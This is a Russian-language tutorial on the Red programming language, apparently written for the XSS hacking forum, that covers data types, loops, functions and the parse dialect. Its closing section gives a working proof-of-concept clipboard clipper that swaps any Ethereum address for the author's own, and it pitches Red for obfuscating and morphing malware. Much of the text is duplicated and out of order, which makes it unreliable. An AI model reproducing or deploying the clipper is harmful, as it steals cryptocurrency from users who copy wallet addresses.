На этом моменте вдумчивый читатель мог подумать, что это наверное хэш-таблица, словарь. Но не тут то было.
Это хэш. Специальный список, который "хэширует значения для ускорения поиска".
Ну допустим, допустим. На деле знакомый некоторым из нас проперти лист:
Код: Скопировать в буфер обмена
Код:
>> a: make hash! [a 33 b 44 c 52]
== make hash! [a 33 b 44 c 52]
>> select a [c]
== 52
Vector!
Тут без долгих объяснений - оптимизированная последовательность только для чисел. Из особенностей - можно умножить вектор на число
Код: Скопировать в буфер обмена
Код:
>> a: make vector! [33 44 52]
== make vector! [33 44 52]
>> print a
33 44 52
>> print a * 8
264 352 416
map!
А вот это как раз наш словарь:
Код: Скопировать в буфер обмена
Код:
>> a: make map! ["mini" 33 "winny" 44 "mo" 55]
== #(
"mini" 33
"winny" 44
"mo" 55
...
>> print a
"mini" 33
"winny" 44
"mo" 55
>> print select a "winny"
44
Обратите внимание, что map - НЕ последовательность, соответственно все абракадабры с указателем, в которых мы так долго разбирались, тут не работают. Как и не работают большинство функций для последовательностей. Настолько, что не осилили даже сделать генерик сеттеры и геттеры - поэтому для получения и записи элементов используются отдельные слова select и put.
Если вам еще не настолько смешно, как мне, то вот вам аналог функции append специально для словарей - extend:
Код: Скопировать в буфер обмена
Код:
>> extend a ["more" 23 "even more" 77]
>> probe a
#(
"mini" 33
"winny" 44
"mo" 55
"more" 23
"even more" 77
)
На этом пожалуй закончим с великими и ужасными типами данных языка Red и перейдем к управлению выполнением, а именно - циклам и условным операторам
Флоу
Вариантов условных операторов нам, как и всего остального - завезли с запасом (и все они одинаково упоротые).
И на этом моменте я напоминаю вдумчивым читателям, что если вы думаете, что уж if-else то точно в Red работают как везде, то имейте в виду - мы имеем дело с чешско-французской магией высокого уровня, и ее логика недоступна смертным:
- if - выполняет блок кода, если условие истинно. Если условие ложно - ничего не выполняет, и никто из нас его не заставит
- unless - то же самое, что if not. Ну мало ли, вы по религиозным соображениям не можете написать if not или у вас клавиши какие-то заедают
- either - аналог if-else. Даже блин не спрашивайте.
- switch - тут слава богу все как у всех, обычный классический свитч
- case - это как свитч, только мы проверяем услоия и выполняем блок для того, которое истинно. У здоровых людей это называется match
- catch-throw - нет, не обработка исключений. Просто еще одна конструкция для ветвления, если предыдущих пяти вам мало
Код: Скопировать в буфер обмена
Также просто не могу не поделиться с дорогими читателями информацией о функциях all и any. Обе принимают в качестве аргументов блок из выражений и работают вот так:
Код:
>> if 10 > 4 [print "large"]
large
>> unless 4 > 10 [print "large"]
large
>> either 10 > 4 [print "bigger"] [print "smaller"]
bigger
>> switch 20 [
... 10 [print "ten"]
... 20 [print "twenty"]
... 30 [print "thirty"]
...]
twenty
>> case [
... 10 > 20 [print "not ok!"]
... 20 > 10 [print "this is it!"]
... 30 > 10 [print "also ok!"]
...]
this is it!
>> a: 10
>> print catch [
... if a < 10 [throw "too small"]
... if a = 10 [throw "just right"]
... if a > 10 [throw "too big"]
...]
just right
Также просто не могу не поделиться с дорогими читателями информацией о функциях all и any. Обе принимают в качестве аргументов блок из выражений и работают вот так:
- all - если хоть одно значение ложно, возвращает none. Иначе, возвращает результат последнего выражения
- any - возвращает первое не равное false выражение. Если такого нет, возвращает none
Циклы
Боже, как я радовался одному единственному циклу в V.
Поехали:
Боже, как я радовался одному единственному циклу в V.
Поехали:
- loop - аналог for, выполняет блок заданное количество раз
- repeat - то же самое, что loop, только с индексом
- forall - выполняет блок при этом двигаясь по последовательности. Не обманывайтесь названием, это даже не близко не map и не foreach - просто посмотрите пример и попробуйте осознать
- foreach - это уже ближе к правде, выполняет блок для каждого элемента последовательности
- while - ну прям белая ворона, просто обычный while
- until - выполняет блок до тех пор, пока блок не вернет true
- forever - бесконечный цикл, для тех кто вышел из лесу и не знает о существовании while true
Код: Скопировать в буфер обмена
Повторюсь, лучше конечно когда есть, чем когда нет, но смысл все так же ускользает и просачивается как песок сквозь пальцы
Пара слов про функции и объекты
Функции тут создаются с помощью двух ключевых слов - func и function.
Разница между ними в том, что все переменные, объявленные внутри func - глобальные. То есть работает это вот так:
Код: Скопировать в буфер обмена
А function в свою очередь уже создает локальные переменные, что конечно ближе и привычнее многим из нас.
Из прикольных особенностей, которые мне действительно понравились - механика уточнений. Мы уже встречали ее несколько раз в коде, и в целом Red этим изобилует.
Прикол в том, что мы можем задавать уточнения для функций (по сути - флаги, булевы значения) с помощью специального синтаксиса и потом вызывать функцию с этими флагами через слэш.
И визуально, и на практике - скажу честно, это действительно удобно. Отлично подходит для случаев, в которых обычно мы бы использовали опциональные аргументы и значения по умолчанию и позволяет
Судите сами:
Код: Скопировать в буфер обмена
Объекты в Red представляют собой достаточно базовую реализацию принципов ООП. Можно создавать поля и методы, есть наследование в зачаточном состоянии и удобный доступ к полям/методам через слэш.
Естественно, ни о каких паблик/прайват полях, множественном наследовании и модели акторов можно даже не говорить. Объекты, потому что в языке программирования должны быть объекты. Ну такое.
DSL
И вот, мы наконец-то подобрались к самому интересному. К тому, зачем вообще стоило смотреть на этот странный, необычный и местами даже несуразный язык.
Вдумчивый и осведомленный читатель наверняка знает (или уже прогуглил, так как я употреблял эту аббревиатуру у же несколько раз), что такое DSL.
DSL (Domain Specific Language) переводится как "предметно-ориентированный язык".
Простыми словами - вот есть языки общего назначения, типа Python, C, и того же Red. Они полные по Тьюрингу и на них можно реализовать любую программу, прям вообще что угодно. Но к сожалению, это не всегда просто и удобно.
А есть предметно-ориентированные языки - они чаще всего не полные по Тьюрингу, и не подходят для широкого спектра задач. Но есть одна задача, под которую они заточены (или правильнее будет сказать - класс задач). И вот эту самую единственную задачу язык щелкает как орешки.
Если вам кажется, что вы никогда не сталкивались с такими языками, то вот пара примеров:
Код:
>> loop 3 [print "hello!"]
...
>> repeat i 3 [print i]
...
>> a: ["china" "japan" "korea" "usa"]
>> forall a [print a]
...
>> foreach i a [print i]
...
>> i: 1
...while [i < 5] [
...print i
... i: i + 1
...]
>> i: 4
>> until [
... print i
... i: i - 1
... i < 0 ; <= condition
...]
Повторюсь, лучше конечно когда есть, чем когда нет, но смысл все так же ускользает и просачивается как песок сквозь пальцы
Пара слов про функции и объекты
Функции тут создаются с помощью двух ключевых слов - func и function.
Разница между ними в том, что все переменные, объявленные внутри func - глобальные. То есть работает это вот так:
Код: Скопировать в буфер обмена
Код:
Red []
mysum: func [a b] [
mynumber: a + b
print mynumber
]
mynumber: 20
mysum 3 4 ; 7
print mynumber ; 7
mysum: function [a b] [
mynumber: a + b
print mynumber
]
mynumber: 20
mysum 3 4 ; 7
print mynumber ; 20
А function в свою очередь уже создает локальные переменные, что конечно ближе и привычнее многим из нас.
Из прикольных особенностей, которые мне действительно понравились - механика уточнений. Мы уже встречали ее несколько раз в коде, и в целом Red этим изобилует.
Прикол в том, что мы можем задавать уточнения для функций (по сути - флаги, булевы значения) с помощью специального синтаксиса и потом вызывать функцию с этими флагами через слэш.
И визуально, и на практике - скажу честно, это действительно удобно. Отлично подходит для случаев, в которых обычно мы бы использовали опциональные аргументы и значения по умолчанию и позволяет
Судите сами:
Код: Скопировать в буфер обмена
Код:
>> round 2.3
== 2.0
>> round/to 6.8343278 0.1
== 6.8
>> round/down 3.9876
== 3.0
Объекты в Red представляют собой достаточно базовую реализацию принципов ООП. Можно создавать поля и методы, есть наследование в зачаточном состоянии и удобный доступ к полям/методам через слэш.
Естественно, ни о каких паблик/прайват полях, множественном наследовании и модели акторов можно даже не говорить. Объекты, потому что в языке программирования должны быть объекты. Ну такое.
DSL
И вот, мы наконец-то подобрались к самому интересному. К тому, зачем вообще стоило смотреть на этот странный, необычный и местами даже несуразный язык.
Вдумчивый и осведомленный читатель наверняка знает (или уже прогуглил, так как я употреблял эту аббревиатуру у же несколько раз), что такое DSL.
DSL (Domain Specific Language) переводится как "предметно-ориентированный язык".
Простыми словами - вот есть языки общего назначения, типа Python, C, и того же Red. Они полные по Тьюрингу и на них можно реализовать любую программу, прям вообще что угодно. Но к сожалению, это не всегда просто и удобно.
А есть предметно-ориентированные языки - они чаще всего не полные по Тьюрингу, и не подходят для широкого спектра задач. Но есть одна задача, под которую они заточены (или правильнее будет сказать - класс задач). И вот эту самую единственную задачу язык щелкает как орешки.
Если вам кажется, что вы никогда не сталкивались с такими языками, то вот пара примеров:
- Язык гипертекстовой разметки, он же HTML. Я думаю ни у кого не возникает желания описывать структуру веб страниц как-то иначе, потому что html простой и удобный.
- JSON, Yaml, Toml - туда же. На них не напишешь малварь, но они отлично подходят для структурного описания данных и используются повсеместно
- SQL - тоже представляет собой предметно-ориентированный язык, и также применяется ежедневно по всему миру
Я думаю с этим все понятно, DSL - это такие мини-языки для конкретной задачи. Едем дальше.
Существует парадигма программирования под названием Языково-ориентированное программирование (сокращенно ЯОП). Суть идеи очень проста. Есть задача. Мы придумываем язык, с использованием которого эту задачу решить легко и просто. Затем мы реализуем такой язык на каком-то языке общего назначения. И наконец решаем нашу исходную задачу легко и просто с помощью нашего нового инструмента.
Ультражирный и не всегда очевидный плюс такого подхода - возможность разделить такой подход на две стадии:
Существует парадигма программирования под названием Языково-ориентированное программирование (сокращенно ЯОП). Суть идеи очень проста. Есть задача. Мы придумываем язык, с использованием которого эту задачу решить легко и просто. Затем мы реализуем такой язык на каком-то языке общего назначения. И наконец решаем нашу исходную задачу легко и просто с помощью нашего нового инструмента.
Ультражирный и не всегда очевидный плюс такого подхода - возможность разделить такой подход на две стадии:
- Разработка языка Х
- Решение задачи с использованием языка Х
И прикол в том, что если для пункта один нужен толковый разраб, то пункт два при достаточно мощном языке может реализовать даже обычный пользователь. То есть планка входа в DSL может быть реально очень низкой, а это и экономия времени, и экономия на оплате труда. Наглядный пример - Microsoft Excel, которым пользуется огромное количество рядовых пользователей и комфортно работают с формулами, не являясь при этом программистами.
А теперь давайте вернемся к нашему языку Red.
По задумке авторов, он как раз таки был запланирован как язык для удобного создания DSL (которые здесь называются диалектами). Из уже разработанных и имеющихся из коробки:
А теперь давайте вернемся к нашему языку Red.
По задумке авторов, он как раз таки был запланирован как язык для удобного создания DSL (которые здесь называются диалектами). Из уже разработанных и имеющихся из коробки:
- system - язык для низкоуровневого программирования
- view - язык для создания GUI
- draw - язык для рисования разного
- parse - язык для парсинга и работы с текстом
Давайте пройдемся по примерам и посмотрим, как это работает.
Небольшая программа с использованием диалекта parse для валидации адресов электронных почт:
Код: Скопировать в буфер обмена
Изящно, не правда ли?
Как может заметить вдумчивый читатель, это безумно похоже на расширенную форму Бэкуса - Наура, которая используется повсеместно для формального определения синтаксиса. А значит и писать диалекты на языке Red будет очень просто.
Чуть более сложный пример - валидатор математических выражений, с использованием рекурсивных правил:
Код: Скопировать в буфер обмена
Также как на языке Red будет очень удобно морфить и обфусцировать код, потому что можно легко и просто разобрать программу на блоки, изменить и собрать обратно.
Важно - я не говорю, что нужно морфить код, написанный на Red. Я говорю, что код, написанный на любом языке программирования будет очень удобно морфить с помощью программы, написанной на Red. Намного удобнее, чем на шаблонах, правда-правда.
PoC Mini Brainfuck Interpreter + PoC Clipper
Окей, разобрались с приколами синтаксиса, посмотрели как тут что устроено, давайте теперь покодим что-нибудь боевое.
Наверняка вдумчивый читатель уже понял, что Red - не совсем обычный язык и для многих задач он реально плохо подходит. Но для задач работы с данными, их парсинга, анализа и модификации - он подходит как надо.
И начнем мы пожалуй с клиппера.
Задача: сканировать буфер обмена и при обнаружении в нем текста, который содержит адрес кошелька Ethereum - заменять этот адрес на наш.
Код: Скопировать в буфер обмена
В начале мы последовательно определяем нашу сущность "адрес эфира".
Затем читаем буфер обмена (функция из коробки, кстати). Ищем во всем что там находится нужный нам адрес и заменяем на свой. И пишем обратно.
Осталось лишь обернуть в бесконечный цикл и базовый клиппер готов.
То есть замена произойдет не только для соло-адреса, но и для адреса внутри какого-то сообщения или куска текста.
Обратите внимание - программа в представленном выше стиле будет проще и понятнее для разработчика с ростом кодовой базы, чем те же регулярки.
То есть, если мы захотим добавить еще клиппинг биткоина плюс заменять адреса не на абум, а на похожие из нашей базы - код очень легко будет модифицировать и он останется чистым и простым для понимания и поддержки.
Второй концепт, который я хотел бы показать - использование Red в качестве фабрики новых языыков и виртуальной машины. Не просто так я выше заметил, что описание синтаксиса для DSL очень похоже на BNF. Это очень широко используемая нотация, а значит если читатель захочет реализовать, допустим, интерпретатор Си или асма - формальное описание языка в формате BNF будет достаточно легко найти и адаптировать под синтаксис Ред.
Как пример - небольшой интерпретатор еще одного маргинального языка Brainfuck:
Код: Скопировать в буфер обмена
Здесь мы используем все то же самое. Единственное существенно отличие в том, что мы сразу же интерпретируем встречающиеся символы (а могли бы морфить, обфусцировать, ну вы поняли намек).
Вместо заключения
Сегодня у нас в гостях был очень странный язык программирования Red.
Я специально скипнул момент обсуждения минусов языка, потому что и так видно - их выше крыши.
Язык все еще в альфе. Язык безнадежно морально устарел. Только 32 бита, нет многопоточности, нет пакетного менеджера. Да половины того что я ежедневно использую нет, зато есть нескучные дизайнерские решения.
Но суть не в этом и сказать я хотел совсем не это. Red - по сути фреймворк для создания DSL. И именно на эту фишку я хотел обратить внимание. С помощью Ред действительно просто создавать, тестировать и внедрять новые языки. С помощью Ред вы можете пощупать ЯОП подход и начать работать в этом стиле. Можете создать свой личный идеальный язык, подходящий именно под ваши задачи. А потом фиг с ним, с Редом - можно написать интерпретатор на чем-то вменяемом.
Концепции, которые зародились изначально в Rebol, а затем перекочевали в Red - могут очень сильно упростить жизнь малваре кодерам, да и всем остальным разработчикам тоже, поскольку показывают нам привычные задачи с совершенно новой стороны. И напоминают, что язык - это в первую очередь инструмент. И если существующие инструменты не подходят под вашу задачу, это повод задуматься - возможно, пора создать свой?
Патрик.
Специально для XSS
Небольшая программа с использованием диалекта parse для валидации адресов электронных почт:
Код: Скопировать в буфер обмена
Код:
Red []
digit: charset "0123456789"
letters: charset [#"a" - #"z" #"A" - #"Z"]
special: charset "-"
chars: union union letters special digit
word: [some chars]
host: [word]
domain: [word some [dot word]]
email: [host "@" domain]
print parse "john@doe.com" email
print parse "n00b@lost.island.org" email
print parse "h4x0r-l33t@domain.net" email
Изящно, не правда ли?
Как может заметить вдумчивый читатель, это безумно похоже на расширенную форму Бэкуса - Наура, которая используется повсеместно для формального определения синтаксиса. А значит и писать диалекты на языке Red будет очень просто.
Чуть более сложный пример - валидатор математических выражений, с использованием рекурсивных правил:
Код: Скопировать в буфер обмена
Код:
Red []
expr: [term ["+" | "-"] expr | term]
term: [factor ["*" | "/"] term | factor]
factor: [primary "**" factor | primary]
primary: [some digit | "(" expr ")"]
digit: charset "0123456789"
print parse "1+2*(3-2)/4" expr ; will return true
print parse "1-(3/)+2" expr ; will return false
Также как на языке Red будет очень удобно морфить и обфусцировать код, потому что можно легко и просто разобрать программу на блоки, изменить и собрать обратно.
Важно - я не говорю, что нужно морфить код, написанный на Red. Я говорю, что код, написанный на любом языке программирования будет очень удобно морфить с помощью программы, написанной на Red. Намного удобнее, чем на шаблонах, правда-правда.
PoC Mini Brainfuck Interpreter + PoC Clipper
Окей, разобрались с приколами синтаксиса, посмотрели как тут что устроено, давайте теперь покодим что-нибудь боевое.
Наверняка вдумчивый читатель уже понял, что Red - не совсем обычный язык и для многих задач он реально плохо подходит. Но для задач работы с данными, их парсинга, анализа и модификации - он подходит как надо.
И начнем мы пожалуй с клиппера.
Задача: сканировать буфер обмена и при обнаружении в нем текста, который содержит адрес кошелька Ethereum - заменять этот адрес на наш.
Код: Скопировать в буфер обмена
Код:
Red []
my-address: "YOUR_ETH_ADDRESS_HERE"
digits: charset "0123456789"
letters: charset [#"a" - #"f" #"A" - #"F"]
chars: union digits letters
eth-address: ["0x" 40 chars]
data: read-clipboard
parse data [to eth-address change eth-address my-address]
write-clipboard data
В начале мы последовательно определяем нашу сущность "адрес эфира".
Затем читаем буфер обмена (функция из коробки, кстати). Ищем во всем что там находится нужный нам адрес и заменяем на свой. И пишем обратно.
Осталось лишь обернуть в бесконечный цикл и базовый клиппер готов.
То есть замена произойдет не только для соло-адреса, но и для адреса внутри какого-то сообщения или куска текста.
Обратите внимание - программа в представленном выше стиле будет проще и понятнее для разработчика с ростом кодовой базы, чем те же регулярки.
То есть, если мы захотим добавить еще клиппинг биткоина плюс заменять адреса не на абум, а на похожие из нашей базы - код очень легко будет модифицировать и он останется чистым и простым для понимания и поддержки.
Второй концепт, который я хотел бы показать - использование Red в качестве фабрики новых языыков и виртуальной машины. Не просто так я выше заметил, что описание синтаксиса для DSL очень похоже на BNF. Это очень широко используемая нотация, а значит если читатель захочет реализовать, допустим, интерпретатор Си или асма - формальное описание языка в формате BNF будет достаточно легко найти и адаптировать под синтаксис Ред.
Как пример - небольшой интерпретатор еще одного маргинального языка Brainfuck:
Код: Скопировать в буфер обмена
Код:
Red []
bf: function [prog [string!]][
size: 30000
cells: make string! size
append/dup cells null size
one-back: [pos: (pos: back pos) :pos]
jump-back: [
one-back
any [
one-back
["]" jump-back "[" | "[" resume: break | skip]
one-back
]
]
cmd: complement charset "[]"
nested: [any cmd | "[" nested "]"]
brainfuck: [
some [
">" (cells: next cells)
| "<" (cells: back cells)
| "+" (cells/1: cells/1 + 1)
| "-" (cells/1: cells/1 - 1)
| "." (prin cells/1)
| "," (cells/1: first input "")
| "[" [if (cells/1 = null) nested "]" | none]
| "]" [pos: if (cells/1 <> null) jump-back :resume | none]
| skip
]
]
parse prog brainfuck
]
; Print Hello World! in brainfuck
bf {
++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.
>++.<<+++++++++++++++.>.+++.------.--------.>+.>.
}
Здесь мы используем все то же самое. Единственное существенно отличие в том, что мы сразу же интерпретируем встречающиеся символы (а могли бы морфить, обфусцировать, ну вы поняли намек).
Вместо заключения
Сегодня у нас в гостях был очень странный язык программирования Red.
Я специально скипнул момент обсуждения минусов языка, потому что и так видно - их выше крыши.
Язык все еще в альфе. Язык безнадежно морально устарел. Только 32 бита, нет многопоточности, нет пакетного менеджера. Да половины того что я ежедневно использую нет, зато есть нескучные дизайнерские решения.
Но суть не в этом и сказать я хотел совсем не это. Red - по сути фреймворк для создания DSL. И именно на эту фишку я хотел обратить внимание. С помощью Ред действительно просто создавать, тестировать и внедрять новые языки. С помощью Ред вы можете пощупать ЯОП подход и начать работать в этом стиле. Можете создать свой личный идеальный язык, подходящий именно под ваши задачи. А потом фиг с ним, с Редом - можно написать интерпретатор на чем-то вменяемом.
Концепции, которые зародились изначально в Rebol, а затем перекочевали в Red - могут очень сильно упростить жизнь малваре кодерам, да и всем остальным разработчикам тоже, поскольку показывают нам привычные задачи с совершенно новой стороны. И напоминают, что язык - это в первую очередь инструмент. И если существующие инструменты не подходят под вашу задачу, это повод задуматься - возможно, пора создать свой?
Патрик.
Специально для XSS